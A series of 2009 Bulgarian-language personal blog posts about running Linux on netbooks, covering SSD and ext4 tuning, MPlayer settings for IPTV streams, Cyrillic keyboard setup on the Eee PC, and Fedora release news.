Добра новина за собствениците на netbooks последно поколение - с графична карта GMA500 (Poulsbo) и желаещи да имат Linux на него. Засега все още неофициално, поради съдържането на проприетарен код, но вече има добре работещ модул за въпросната карта за Fedora 11, подчертавам - с работещо 3D ! Заслугата е на Adam Williamson - новината е публикувана на неговия сайт - ето подробностите.
Както става ясно и от коментарите след новината, възможно е скоро модулът да се включи в RPMFusion, хостващ софтуер, който поради лицензни ограничения не може да се включи в официалната дистрибуция.

Ext4 и SSD

2009-07-29T20:24:00.010+03:00

Вече стана въпрос за някои оптимизации на операционната система, за да работи вашия SSD по-добре и по-дълго. Нещото, което продължава да ме учудва, е все още пълната липса на настройки по подразбиране за целта в популярните десктоп-ориентирани Linux дистрибуции. Оставям настрана ОС от фамилията Windows, където се стигна дори до там, че „не се препоръчва“ (разбирай – забранява се) използуването на предстоящата 7-ма версия на notebooks/netbooks с такива дискове... Просто без какъвто и да било коментар!
Но нека се върнем у нас, в Linux. Подразбиращата се файлова система в последните издания и на Fedora и Ubuntu вече е Ext4. Скоро ще ги последват и останалите. Даже, ако инсталирате от live CD Fedora 11 просто няма да ви бъде разрешено друго ( / е задължително форматирана с ext4). Ext 4, сама по себе си е голяма крачка напред в сравнение с предишната подразбираща се файлова система. Накратко казано – би било грехота да не се възползуваме от възможностите, които ни предоставя тя, но... как да комбинираме това с особеностите на SSD ? Няма да повтарям тук всички неща, писани в предишен мой пост и които в пълна степен важат и сега. Ще допълня само следното: ext4 ни предоставя функция за премахване на журнала (и оттам „опасното“ писане по фиксирани места върху SSD). Процедурата е много проста – стартирате си някакво live CD, без значение (лично аз използувам за такива сервизни дейности GParted), влизате като root и пишете следното нещо :

tune2fs -O ^ has_jurnal /dev/sdXX

Въпросното действие трябва да се извършва само върху не-монтирана файлова система, затова ни е необходим "жив" диск.
Всъщност такава възможност имаме и в ext3, строго погледнато (blush)... Защо ли не ми е хрумнало и преди това...? Предполагам на някои ще им се стори авантюристично да изключваме журнала – снижаваме значително сигурността на файловата система. Само ще отбележа следното – не забравяйте, че става въпрос за netbooks, чиято функция е: малък преносим компютър, осигуряващ ви само функционалност за дребни ежедневни дейности (сърфиране в мрежата, слушане на музика...). Така, че такъв компромис е напълно допустим. Да не забравяме, че имате и непрекъснато включена батерия, която ви предпазва и от ситуацията "внезапно прекъсване на захранването"...
Има само едно "леко" неудобство - инструментите от групата приложения e2fsprogs, са малко "старички" и няма да прочетат UUID от такава файлова система. Иначе казано, ако сте си инсталирали по-съвременна дистрибуция, където файловата система е определена чрез UUID - етикети, а такива са и Ubuntu и Fedora, след деактивиране на журнала системата няма да може да се стартира, поради невъзможност да идентифицира кореновия дял.
Това се преодолява лесно. Необходимо е да редактираме конфигурационния файл на grub - /boot/grub/grub.conf, както и /etc/fstab и да заменим UUID-идентификаторите на твърдите дискове с имената им като блокови устройства - /dev/sdXX.

TV streams, EeePC и Linux

2009-07-02T14:57:00.015+03:00

От както си смених доставчика на интернет се радвам на достъп до IPTV. Доста полезно и удобно нещо в комплект с EeePC-то ми. Отделно, че мой много близък приятел е голям почитател на всякакви онлайн телевизии и неспирно издирва връзки към всевъзможни такива. Когато сме заедно netbook-ът задължително се превръща в портативен телевизор. Но... тук има едно – но... Asus-ът е с Linux и второ – аз упорито държа на преинсталираният на него Xandros. Темата защо толкова държа на него е доста обширна и не мисля да я засягам точно сега, но това, което искам да споделя, така или иначе се отнася до нея.
Приятелят ми е типичен Windows-потребител. Въпреки, че от непрекъснатото общуване с мен, ще не ще, се понаучи да работи и с Linux, не бих казал, че съм го спечелил засега за каузата (цит. : “...не мога да се оправя с конзолата...“). Та покрай online телевизиите, лека полека възникна спорът „Windows vs Linux“, видиш ли как в първия случай всичко това върви без проблеми. Почти се бях убедил на фона на неубедителното справяне с въпросната материя на Linux... Тук малка скоба – в EeePC медиа-плейърът е MPlayer, в комбинация с Mozilla-plugin, който на пръв поглед не е най-подходящото приложение, или поне във вида, който има при прясно инсталирана система. Проблемът е досаден – аудиото избързва пред видеото и то с доста добро темпо, така че при продължително гледане асинхронът е голям... Всъщност проблемът е само в mozilla-plugin и то само при гледане в пълноекранен режим. Тези с голямата резолюция, ако изобщо тръгнат, дори и в малък прозорец вървят доста накъсано и със забавен каданс. Хайде, да кажем това до голяма степен се дължи на особеностите на хардуера – Atom-платформата не е най-подходящата за „тежка“ мултимедия... Но стриймове с резолюция от порядъка на 350:250 не би трябвало да я затрудняват. Е, факта си е факт – ако си гледате малкото прозорче на плъгина всичко е наред, но на пълен екран – забравете... На голям монитор, може и да го преживее това човек, но на 9 инчовия дисплей на EeePC-то почти е необходима лупа...
Изчетох доста писания по мрежата с всевъзможни „съвети“, които в крайна сметка не водят до никъде, или казват примиренчески – инсталирайте си VLC... VLC е разкошен плейър! С удоволствие го ползувам на другата си машина, но тук (на EeePC-то) има малък проблем – ВЕЧЕ не можете да си го инсталирате. Мнозина ще ме апострофират (отново мрежата е пълна със съвети точно как да го направите на EeePC-то, видите ли – просто си добавяте еди кое си хранилище...), но пак ще повторя – ВЕЧЕ не можете да си го инсталирате толкова просто... Причините са няколко. Първо Debian (на който се основава Xandros) изтъркаля един разработъчен цикъл, "порасна", един вид и вече стабилният е Lenny и второ – Etch спрямо момента към който е компилиран варианта за EeePC, освен че е oldstable и е с обновени редица библиотеки (в случая нас ни касае най-вече GTK+), така, че инсталирането на VLC от хранилищата на Debian води до неразрешими зависимости (просто aptitude няма да ви даде да го инсталирате), или ако го направите „насила“ ще получите в резултат неработеща система. Мдам... Какво да се прави Xandros е комерсиална дистрибуция. Вариантът му инсталиран на netbook-ът е хибрид между Xandros 4 (основан от своя страна на Sarge) и Etch в добавка със специално прекомпилирани програми, пачове за ядрото и прочие. Звучи съмнително, но до ден днешен това е най-добре работещата дистрибуция на тези мъници... Истина ви казвам, който и да ви убеждава в обратното! Защото машинката просто си работи с нея и то с всичките си, не малко възможности, без какъвто и да е компромис (имам предвид bluetooth, wifi, suspend, включително излизането от него, всякакви функционални клавиши, с които изобилства серията 901-1000, времето на самостоятелна работа с батерията и пр.).
Минах си през периода на съмненията и опитите да го подменя с нещо „по-съвременно“ (просто непълно изброяване – Fedora, EasyPeasy, Eeebuntu, OpenSUSE, Debian, Ubuntu NBR), почти се бях спрял на Eeebuntu, но се отказах – 1-1,5 часа по-малко батерия и доста спъната работа с bluetooth-а ме разубедиха. Моя мъник се оказа доста зле поддържан в основните дистрибуции на практика...
Разправям всичко това набързо, но това беше няколко месечен процес на упорити търсения и опити.
И така – ето ме в един момент с „моя“ си Xandros и MPlayer...
Всъщност MPlayer ми е любима програма. Беше време, в първите ми прохождащи години в Linux-света, когато да си я инсталираш, пък и да работи безотказно след това си беше голямо предизвикателство. Вършила ми е толкова много работа, че просто беше абсурдна ситуация за мен това което се получаваше с тв-стриймовете... Но все пак, решение се оказа, че има... И то безумно елементарно, просто ми е било пред очите през цялото време...
Преди каквото и да правим е необходимо да downgrade-нем Mplayer до по-стара версия, поради причина – във версията с която се доставя с netbook-а е премахната поддръжката на H-264. Темата защо, ще я пропусна. Вариантът с допълнителните хранилища на Debian, както казах по-горе вече не работи. Има по-просто решение – инсталирате си го от Asus Download (което си е по същество CNR). Смело действайте, нищо че инсталаторът ще се разпротестира, че разполагате с по-нова версия. Е... ще се сдобиете в менюто с още една икона в EasyMode менюто, но с помощта на великолепната програма emeditor, лесно се отърваваме от нея.
Сега нека да си поиграем малко с няколко опции в настройките на Mplayer. Избираме си за видеоизход – gl, за аудио – alsa.

Бях пробвал да задам видеоизход X11, при възпроизвеждане на филми не се усеща разлика, но в нашия случай е по-добре gl.
За Alsa мисля, че не е необходимо да коментирам каквото и да е...
След това отиваме на настройките за performance, където са следващите няколко съществени неща.

Подразбиращата стойност за A/V авто синхронизация е 100, което ни и създава най-много проблеми при синхрона между видеото и звука.
Може да експериментирате, но за мен стойност 10 даде напълно приемлив резултат.
Освен това си отмятате „alow frame drop“ и „alow hard frame drop“ нищо, че второто може да доведе до лоша картина, но си струва риска. Отмятаме си също използуването на cache и му задаваме стойност 9999 KB. Това са "санитарно" необходимите ни промени в подразбиращите се настройки на плейъра.
Тъй, като mozilla plugin има отделен файл с настройки, необходимо е да променим някои неща и там. Ето още как са те при мен:

Отбелязваме си отново Video Output - gl, Audio Output - alsa...
Като място за кеша обикновено ползуваме /home/user, но тук може и да е нещо друго, да кажем, рамдиск, ако ползуваме такова нещо...
Задължително си отмятате "Windows Media Player Suport", "Connect to RTSP Media over TCP" и "Use HTTP insead of RTSP". В никакъв случай не отмятайте "Play media directly...". Определяте размера на буфера (cache size) на около 9000-10000 KB (тук е с плъзгач и точна стойност се постига малко неудобно) и слагате не повече от 25-30% за буфериране, иначе ще изчаквате доста в началото докато се стартира стрийма.
Всъщност това е всичко. Предполагам за по-добро качество може да се поекспериментира и с вградените възможности ва MPlayer за post-processing, но лично аз не се задълбах толкова много. За тези, които са по-любопитни ето едно занимателно четиво съпричастно на темата — fine-tuning-mplayer

Желая ви приятни online часове с любимия телевизионен канал !

Linux размисли в неделя вечер

2009-05-24T21:20:00.003+03:00

Понякога се чудя, защо изобщо си губя времето да изпробвам нови дистрибуции на нетбука – Eee PC 901, като в крайна сметка стигам до извода, че най-доброто решение за него е именно тази с която се продава (Xandros за Eee PC). Разсъждавах днес по този въпрос след тест на Eeebuntu 3.0... Не ще и дума, добра работа – външен вид, приложения... Докато стигнете до разни “дребни” подробности. Като да речем бутона за вкл./изкл. На WiFi Radar... Не ще и дума, че вече работи – работи (и до сега в практически всички останали въпросната комбинация не работи – Fn+F2). Но докато не решите, поради някаква причина да изключите безжичната мрежа – просто повече няма да може да я включте, независимо от това, че хардуера реагира (синия диод свети) и ви излиза OSD със съответното съобщение – за ОС безжична мрежа няма... Откровено казано не ми се и рови по форумите да намирам решение... Писнало ми е от, явно всевечната особеност на OSS – правено, недоправено.
Сещам се за ходенето по мъките, с “големия” ми ноутбук преди около година и половина (писано доста и тук по въпроса). Имаше период в който всичко работеше перфектно и в един момент със следващите версии на дистрибуциите всичко се срина. Междувременно на него почти напълно съм се отказал да използувам Linux, защото е с нещастен, стар неподдържан чип на ATI, което ще рече – НИКАКВО ЧИТАВО 3D на видеокартата, което ще рече, забравете за Google Earth, примерно.
Пресни впечатления от тази събота и неделя – поиграх си малко с Mandriva 2009.1 и Ubuntu 9.04 на него (Packard Bell MZ36). При първата Pulse audio сървъра се крашва когато му скимне, а бутоните за увеличаване и намаляване на звука изобщо не работят, дори и след като специално ги настройвах – досега винаги, поне те са работили безупречно... А в Ubuntu реших да проверя работи ли suspend to RAM, но и това се оказа, че вече не работи... Преди проблемът обикновено беше в fglrx – проприетарен “боклук”, както му се носи славата, но сега поне вече е с radeon...
Тъжни мисли...

Някои особености при работата със SSD в Linux

2009-05-04T20:18:00.012+03:00

SSD (Solid State Drives)-твърдотели дискови устройства - не знам на български как би било най-правилно да се преведе, но и не мисля да го правя, защото терминът доби популярност. Та - SSD са една от интересните новости в IT индустрията през последните десетина години. Те са устойчиви на удари и сътресения, консумират по-малко енергия, отделят по-малко топлина и са с много бърз достъп. Ако имате PC оборудван със SSD, също както повечето нетбуци от фамилията Еее PC, има няколко особености за по-добра работата с тях и удължаване на живота им, тъй като съвременните операционни системи, все още не са оптимизирани по подразбиране за работа с тях (изключвам тези, които са преинсталирани от производителя). Няма да се спирам тук на въпроса, защото темата на статията не е тази, но накратко най-неприятната особеност на твърдотелите дискове (освен цената им все още) е фиксирания брой записи, които могат да осъществят преди да дефектират. За най-разпространените устройства в момента тя е около 100000 (сто хиляди) цикъла... На пръв поглед цифрата говори и много и нищо, но характерното тук е, че програмата, осъществяваща работата на самото устройство на ниско ниво, разпределя физически записваната информация по такъв начин върху елементите на диска, че те да са натоварени равномерно във времето. Доста се изписа по този въпрос, откакто SSD станаха популярно решение, но на практика "животът" им значително надвишава живота на един HDD при нормална, ежедневна работа.
И така, ето няколко съвета, които ще дадем :

1.

За файлова система на вашия SSD е най-добре да предпочетете някоя от НЕ-журналните (примерно ext2)... Поддържането на журнала в една такава ФС е свързано с писане върху фиксирани места по нея, което е в разрез със споменатото по-горе изискване за намаляване до минимум на писането по диска (правя тук забележката, че това не е общоприето мнение - в преинсталирания Xandros на Еее PC 901 user-дялът е форматиран с ext3...).
Освен това, най-добре е такова устройство да се монтира с опцията noatime. По подразбиране Linux ще записва вашите файлове с активирана опция -last accessed time. Това би намалило живота на вашия диск увеличавайки броя на записванията, тъй като независимо от това дали сте отворили даден файл само за четене, след приключване на работата по него файловата система ще обнови атрибута му за време/дата. Опцията noatime ще изключи този режим. Къде става това? Естествено във файла /etc/fstab...

2.

За да спестим допълнително писане по диска можем да си създадем рамдиск (особено тези, които имат повече от 1GB RAM) и да го посочим, като място използувано за временните файлове. Отворете пак /etc/fstab и добавете следния ред в него :

tmpfs /tmp tmpfs defaults,noatime,mode=1777 0 0

рестартирайте, и сега можете да проверите – при изпълнение на df в списъка на монтираните системи ще видите нещо такова :

tmpfs 513472 30320 483152 6% /tmp

3.

Firefox по подразбиране използува за кеш на временните си файлове домашната ви папка. Премествайки този кеш за съхранение във вече създадения рамдиск не само ще намалите писането по физическото устройство, но и ще ускорите работата на браузъра, понеже достъпа до RAM е доста по-бърз от този до която и да е външна памет. Отворете about:config на Firefox. С десен клик на мишката в полето създавате нов string value с име – browser.cache.disk.parent_directory и и задавате стойност /tmp.

4.

В Linux подразбиращия се режим на четене/запис на данните ( I/O scheduler) е cfg - completely fair queuing . По-общо казано това означава, че ресурсите между приложенията са разпределени по начин еквивалентен на дяла им от общото процесорно време. Този режим работи добре при обикновени HDD дискове, но досегашния опит е показал, че при SSD създава проблеми. Да кажем, при записване на голям файл, всички останали приложения ще изчакват, докато завърши тази операция, което води до неприятни увисвания на системата на моменти. Това е по-скоро недостатък, присъщ на Eee PC, защото SSD на който е личната директория на потребителя (sdb) е малко бавен, все пак е гонен нисък ценови сегмент на нетбука...
Режимът може да се промени, без да се рестартира компютъра, ето как. Първо проверете режимите, които имате на разположение:

cat /sys/block/sdb/queue/scheduler

Тук sdb може да е и друго, според случая. Обикновено имате четири възможности, като използувания режим е ограден с квадратни скоби (резултатът от предишната команда) :

noop anticipatory deadline [cfq]

Две от тях са по-добрия избор при работа със SSD: noop и deadline (при noop всички приложения се подреждат на, един вид проста опашка по реда на заявка, докато deadline прилага критерия "краен срок за приключване на I/O операция" и сортира приложенията, освен по реда на заявка и по него) . Приложенията пак ще изчакват, но само за няколко секунди докато диска е отново свободен. Не е кой знае какво, но е по-добре от cfg... Правя тук уговорката, че давам доста елементарни определения за режимите на scheduler в една Linux-система, доколкото е необходима известна яснота за какво става дума.
Ето как да зададем нов режим :

echo deadline > /sys/block/sda/queue/scheduler

Отбелязвам, че тази промяна трябва за се извърши само като root, при това не чрез sudo... Още нещо – за да остане това в сила при обновление на ядрото, защото повечето дистрибуции презаписват повечето такива настройки ще направим още нещо. Във файла menu.lst в /boot/grub/ има един ред с параметри, които се пазят при ъпгрейд – редът kopt... изглежда така:

# kopt=root=UUID=6722605f-677c-4d22-b9ea-e1fb0c7470ee ro

В никакъв случай не махайте знака за коментар !!! Само в края на реда добавете следното :

elevator=deadline

Запазете и затворете файла, след това не забравяйте update-grub...

Ако случайно сте любопитни да узнаете колко е бърз вашия SSD, може да направите следния тест :

sudo hdparm -t /dev/sdb

Клавиатурни подредби в Eee PC

2009-03-23T20:17:00.004+02:00

Направи ми впечатление след последната поредица от ъпдейти от Asus, че в таба Settings, се появи нова икона.

Не друго, ами Add/Remove Keyboard. Порових се малко в портала на Asus за Eee PC, но там не пишеш нищо конкретно по какъв начин се задействува тази нова настройка.
Кликайки на нея ви се отваря прозорец в който отляво имате показани доста впечатляващ списък с клавиатурни подредби,

а отдясно – us (каквато е зададената по подразбиране при първото стартиране на нетбука, ако не сте задали друго, разбира се...). Веднага избрах Bulgarian и си я добавих към списъка отдясно, очаквайки нещо да се случи след това (я да се появи някаква икона в трея, или нещо подобно). Само че, не се случи нищо... поне нищо видимо. Задаването на тази настройка не се отразява по никакъв начин на gcin, за което трябваше да го инсталирам наново чрез synaptic, чиста загуба на време – там си седят единствено английският и разните китайски подредби, дето ми звучат на... китайски !
Реших все пак, да погледна в другото място където подобна настройка би имала въздействие – в /etc/X11/xorg.conf... и там наистина имаше. При това нагло презаписвайки моя вариант...

Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbModel" "pc105"
Option "XkbLayout" "us,bg"
Option "XkbVariant" ",eeepc"
EndSection
Веднага ми светна – просто си добавих опцията, която се беше изгубила :

Option "XkbOptions" "grp:alt_shift_toggle"

и... kkbswitch си превключваше смело между двете подредби. Като при това веднага ми направи впечатление, че специалните символи – скоби, тилди и прочие съответствуват точно на щампованите на клавиатурата с червено ! Много добра работа на екипа от Asus... само да бяха се постарали да разпространят и с дистрибуцията по ясен и непосредствен инструмент за управление и превключване на клавиатурните подредби. Но както и да е – доволни сме и на това ! Тази промяна касае известна част от ръководството, което публикувах неотдавна тук, но мисля че е ясно коя точно и мисля да не правя промяна.
Приятно забавление с Eee PC !!!

пак за Eee PC...

2009-03-17T20:41:00.003+02:00

Пробвах за няколко дни Windows XP на Еее PC-то ми... Така или иначе отдавна планирах преинсталиране на Xandros-а, за да “ремонтирам” досадния бъг в принтерната база доставян чрез един от ъпдейтите и, който скапваше Konqueror (така и не го оправиха досега), така че беше подходящ момент за ОС rollover... Бях си изровил някаква версия специално за нетбук, претакана през nLite от която в последствие разкарах IE и Outlook в добавка. Инсталацията зае около 1,2 GB с всички драйвери, VLC и няколко едри и дребни допълнителни ремаркенца (антивирусна, читав деинсталатор и пр.). Бях си наумил, освен това да пробвам и да прехвърля инсталираното XP на SD картата, но за съжаление дадените на много места в мрежата рецепти не сработиха (да си призная не съм се дълбал и много нашироко защо, но го отбелязвам като факт). Нетбукът работи доста добре под орязаната версия на бозата, даже някои неща по-добре – основно тъчпада се държи далеч по-прилично... Естествено WMP си отваря без проблем стриймовете с mms протокол, някои от които в Linux просто нямат подкарване. В добавка от ASUS имате някои допълнителни възможности – от малък аплет в трея да си пускате и спирате bluetooth-а, WiFi и камерата, на който в Xandros не са направили аналог (специално за камерата в 901 няма потребителски инструмент за включване/изключване от десктопа). Иначе като производителност/бързодействие не намерих разлика, поне от гледна точка на ежедневен, редови потребител.
Но друго исках да отбележа тук – бях просто забравил колко неудобна система е Windows откъм комплектовка на личен вариант на десктопа – трябваше да се ровя на десетина места в мрежата (а купете си всички програми дето ви трябват, че после и да ви вършат работа), да си търся програми за това онова, като дори не стигнах до офис-пакет... Отне ми цял следобед ! Дори Xandros, който е преинсталиран на нетбука, колкото и да е осакатен в много отношения, си е перфектен мини десктоп ! Да не говорим, че в добавка с помощта на Eee Download (по същесство CNR), практически можете да си добавите “с един клик” 80% от най-популярните приложения за ежедневна работа и забавление.
Предполагам мнозина няма да са съвсем съгласни с мен – мрежата е пълна с хакове, съвети за инсталиране на всевъзможни дистрибуции и пр. Нека обаче никой не пропуска дребния факт – единствената дистрибуция, която към настоящия момент поддържа 100% от хардуера на Eee PC 901 e... Xandros. И още нещо – нетбука е инструмент за потребяване на съдържание, не за създаване на такова, който има за цел да ви е непрекъснато под ръка. Затова са ми леко смехотворни усилията за пресътворяването върху непретенциозната машинка на пълноценния десктоп, който бихте имали на домашния си компютър, или ноутбук. Но... вкусове всякакви, цели – още по-различни.

Linux губи ли пазарен дял сред netbook ?

2009-03-06T19:26:00.003+02:00

Наляво и надясно в интернет пространството(тук и тук, примерно) се коментират последните внушения на пазарни анализатори, че Linux отстъпи позиции в сегмента на netbook-машинките. На пръв поглед това е така - "90% от продадените такива машинки в USA през последните месеци са с Windows XP"... Но дали това е точно така? При внимателно анализиране на фактите, ситуацията изглежда малко по-друга. Погледнете какво точно се продава в момента с етикета "нетбук" и решете сами: дисплеи над 9", масово с 10" (Asus изрично казаха, че за в бъдеще се отказват от 7/8,9" решения); класически твърди дискове - рядко 80, масово 160 GB; четох дори някъде за решение с оптично устройство... Какви нетбуци са това? По-скоро производителите леко се изместиха от нишата и всички тези устройства клонят повече към мини-ноутбуци, набутани в кожата на нетбук. Купувайки такова устройство масовия потребител е с нагласата то да му даде почти пълната функционалност на един десктоп (въпросът е спорен, доколко това е напълно изпълнимо в рамките на Atom-платформата). Същия този масов потребител, последните 15 години, просто живее сред решенията на Microsoft. Съчетано с доста ограничената функционалност на преинсталираните Linux-дистрибуции на "класическите" нетбуци, откъм възможността за добавяне на нови приложения, напълно естествено е масовата реакция да е към добре познатото... В добавка към това дойде добре преценената пазарна политика на ръководството на Microsoft да "възкреси" Windows XP (върха на технологията от 2001 година...)
Какво да добавя? Няма да крия, че всичко това ме изпълва със смесени чувства... 10% дял от пазара не е никак малко - помислете (Apple традиционно се върти окололо 15), допреди година-две реалният дял на Linux не надвишаваше процент и половина. От друга страна за пореден път лъсна досадната истина - зад Linux-десктопа реално няма последователен мениджмънт, а пазара изисква пазарно мислене.

Кирилица за Еее PC 901, 1000... в няколко стъпки

2009-02-19T21:27:00.006+02:00

Вече два, или три пъти ме питат точно как да се инсталира кирилица на Asus Еее PC 901, 1000 и пр. Та реших, че най-добре да напиша всичко тук, за да бъде съвсем прегледно.
Разликата в сравнение с по-старите модели на Eee PC е, че тук програмата за клавиатурните подредби е gcin – клонинг на scim, специализиран за китайските потребители, което нас специално изобщо не ни грее...
Та така...

Първо

Сваляте си аплета за превключване на клавиатурата за KDE, и го записвате някъде във вашата директория (няма значение къде, важното да знаете къде е) – за нашия случай това ще е /home/user. Значи, ще го свалим с wget, защото сваляйки го през браузера автоматично се стартира вградения инсталатор на пакети на Xandros, каето не е удачно в момента. Отваряме терминален прозорец с клавишната комбинация ctrl + alt + t и там пишем следното :

wget http://ftp.de.debian.org/debian/pool/main/k/kkbswitch/kkbswitch_1.4.3-3_i386.deb

Значи това е версията за Debian Etch, която ни е необходима. Ако линка не проработи поради някаква случайност може да вземете кой да е от страницата му в Debian – http://packages.debian.org/etch/i386/kkbswitch/download.

wget http://lukav.com/eeepc/kkbswitch_1.4.3-3_i386.deb
(забележка - поради причини за които не ми се рови, посочения пакет в първоначалния вариант дава неразрешени зависимости, затова ползувайте този на lukav б.а.)
След като сме го свалили, следва да го инсталираме, което става по следния начин (все още не сме затворили терминалния прозорец) :

sudo dpkg -i kkbswitch_1.4.3-3_i386.deb

Второ

Все още не сме затворили терминалния прозорец (ако сте го затворили - ctrl + alt + t...) и там изпълнявате следните няколко команди :

sudo killall gcin
sudo apt-get remove --purge gcin*

с първата спирате работата на аплета, с втората го изтривате от системата.

Трето

Настройваме вградената функционалност на Xorg за работа с кирилица (да именно – вградена, не е необходимо да си търсите шрифтове и пр.). Пак в терминалния прозорец, който трябва да е все още отворен(ако не - ctrl+alt+t) и пишете следното:

cd /etc/X11/
sudo cp xorg.conf xorg.conf.bkp
sudo nano xorg.conf

с първата команда сменяме текущата директоря с /etc/X11/, с втората създаваме резервно копие на файла xorg.conf, с третата отваряме текстов редактор с въпросния файл, който всъщност е конфигурационния файл на графичната система на компютъра. Намирате в него следния текст (движението на курсьора тук става само със стрелките):

Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us"
EndSection

И го променяте така, ако искате да имате фонетична подредба на клавиатурата :

Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us,bg"
Option "XkbVariant" ",phonetic"
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection

или така, ако искате да имате подредба на клавиатурата по БДС:

Section "InputDevice"
Identifier "keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbLayout" "us,bg"
Option "XkbVariant" ",bds"
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection

Клавишната комбинация за превключване е alt + shift... Тук може и да е друго, но го оставям на вашето въображение. Проверявате дали сте написали всичко много точно, защото ако не сте, може да не успее да се стартира графичната среда и по-неопитните да се озоват в небрано лозе. Натискате клавишната комбинация ctrl + x (изход от редактора), на командния ред в долната част ви се появява въпрос дали да съхраните промените - отговаряте на въпроса с y (yes), появява се името на файла - натискате enter за да потвърдите и готово.

Четвърто

Ако сте затворили терминала, отваряте го отново и пишете:

sudo nano /etc/X11/Xsession.d/98x11-kkbswitch

и пишете вътре следното :

/usr/bin/kkbswitch &

Записвате файла по познатия начин – ctrl +x и т.н. С това осигуряваме автоматичното стартиране на аплета за клавиатурните подредби със стартирането на графичната среда.
Сега вече може да рестартираме Eee PC и в трея ще имаме иконка с цифрички 1 и 2 за английска и българска клавиатурна подредба. Това естествено е малко постничко, затова с десен клавиш кликваме върху нея и от "конфигуриране" си избираме съответните флагчета, според вкуса ни...
Понякога, поради не много ясни за мен причини аплета не се стартира. В този случай отваряме терминален прозорец и в него пишем следното :

kkbswitch &

и натискаме enter. След малко в трея се появява флагчето, след което можем да затворим терминала.

Пак Fedora...

2009-02-18T22:34:00.006+02:00

Хмх... поради разни причини все пак успях да скапам Linpus-а на Acer Aspire One, който имаме в къщи (шило в торба не стои). Та реших да направя така, или иначе проба и инсталирах Fedora 10...

Безкрайно приятно изненадан бях, че всичко си работеше. Имаше нужда само от малко оптимизиране с оглед наличието на SSD и още няколко дребни неща (спиране на някои услуги, махане на излишни приложения). Инсталацията зае до тук около 2,5 Гигабайта. Предполагам, че може още да се поокръцка...Ето две снимки като нагледен материал.
Скоро, ще има подробен коментар. При всяко положение, дори с GNOME, ААО работи перфектно с Fedora 10.

Какво да очакваме във Fedora 11 ?

2009-02-12T20:29:00.004+02:00

Не мога да не приведа тук леко авторизирания от мен превод на една новина от tigro.info/blog/ , който най-редовно следя...

Fedora 11 се очаква да излезе на 26 май. Използуваното ядро ще е 2.6.29, или 2.6.30, ще бъдат включени новия GNOME 2.26, KDE 4.2.x, OpenOffice 3.1.0, XFCE 4.6, Firefox 3.1, въпреки, че ако не успее да излезе до тогава ще е някакво rc, както се е случвало и друг път. Netbeans 6.5, IM клиент по подразбиране ще е Empathy, който както се твърди умее да предава звук и видео (не е много ясно още как?), ще се подобри управлението на звука. Планира се да бъде организиран достъп до Microsoft Exchange через OpenChange.

Във Fedora 11 се планира да се достигне зареждане на системата за 20 секунди, планира се да се въведе ред най сетне с аритектурата, в частност да се прекомпилират всички пакети под i586 вместо i386. Да се реализира по-удобен механизъм за докладване ва бъгове, да се направи стъпка към замяна на HAL с DeviceKit, да се направи TightVNC VNC клиент по подразбиране.

Също така има надежда, че в 11 версия най-сетне ще работи плъгинът Presto по подразбиране, което ще позволи да се икономисва трафик и да се свалят не целите пакети, а само “делтите” им. Вярно 95% от този пункт беше осъществен още във Fedora 8.

Също планът е да се пренапише текстовата инсталация, да се направи възможно включването към един системен блок на няколко монитора и клавиатури, да се прекомпилират всички пакети под GCC 4.4, да се стабилизира клъстерната ФС GFS2, да се направи възможно използуването на четци на пръстови отпечатъци, да се включат разширенията DNSSEC и DLV за DNS, да се подобри управлението на захранването.

Планира се да се обезпечи компилиране на програми за Windows без използуване на последния, да се реализира поддръжка на DebuginfoFS, да се добави дебъгера Archer, да се направи Ext4 файлова система по подразбиране, да се интегрира python 2.6. Вече е реализиран K12Linux, инструмент за създаване на терминални сървъри.

Изобщо, ще чакаме, както обикновено, пък туку виж може да ни изненадат и с повече. Засега изобщо не е ясно и на какво точно ще се основава RHEL 6.

Fedora, откакто видя бял свят е флагманът на иновациите в Linux-света, не ще и дума. Независимо от дребните неволи, които имам от време на време с нея (особено с по-съществени ъпгрейди) никога не е спирало да ме радва удивителната способност на екипа разработчици да съчетава най-новото с висока степен на стабилност на дистрибуцията.

Fedora 10

2009-01-28T19:27:00.003+02:00

Най-сетне, след месец и половина мигрирах успешно на Fedora 10 на ноутбука ми! Много съм щастлив, най-сетне всичко мина успешно, включително инсталирането на fglrx за тъпото "ati" на което съм собственик.
Повод за малка почерпка !!! Хип-хип ура-а-а-а !

Asus Eee PC и K3b икони

2009-01-21T22:15:00.005+02:00

Инсталирах си K3b на нетбука (нали си имам вече записвачка) и реших да си добавя иконата в easymode менюто, ползувайки наличното предложение в www.forum.eeeuser.com. Само, че открих, че е малко правено недоправено... ъ-ъ-ъ-ъ-ъ...

Надписа влиза в картинката и много ме дразни. Та реших с помощта на дъщеря ми да проявим малко творчество и сътворихме комплекта икони (6 бр.) за малко по-естетичен вид на менюто. По стар навик k3b го поставих при мултимедийните приложения, в случая в таба "Play". Мисля, че резултатът е доста добър ! Ето сравнете :

Който би проявил интерес към творението може да си свали комплекта икони от тук .
Приятно забавление с Eee PC !!!

Малко приключение с Aspire One

2009-01-11T18:06:00.011+02:00

За да спазя моите принципи, че трябва да се опита от всичко реших, купувайки следващия нетбук в къщи да е Acer Aspire One. Да си призная, още преди да пристъпя към покупката на Eee PC 901, много се двоумих между двата – откъм дизайн Aspire One е доста по-напред, вярно малко по-голям, но за сметка на това с по-удобна клавиатура, при един и същи дисплей. В крайна сметка, наличието на по-голям по обем SSD и вграден Bluetooth, натежаха в полза на Asus-а, като нетбук лично за мен - не съжалявам за избора си. На Aspire One се радва в момента малката ми дъщеря.
Искам тук да споделя, някои специфични за него проблеми, свързани с кирилизация, кодеци и прочие.
Инсталираната на Aspire One от производителя операционна система е Linpus Lite – базирана на Fedora 8 Linux дистрибуция. Тя е доста оптимизирана за работа с наличния хардуер и най- вече с малко бавния SSD.
Плюсове :
-XFCE като работна среда
-оптимизиран набор от приложения – нито повече, нито по-малко отколкото са ви необходими
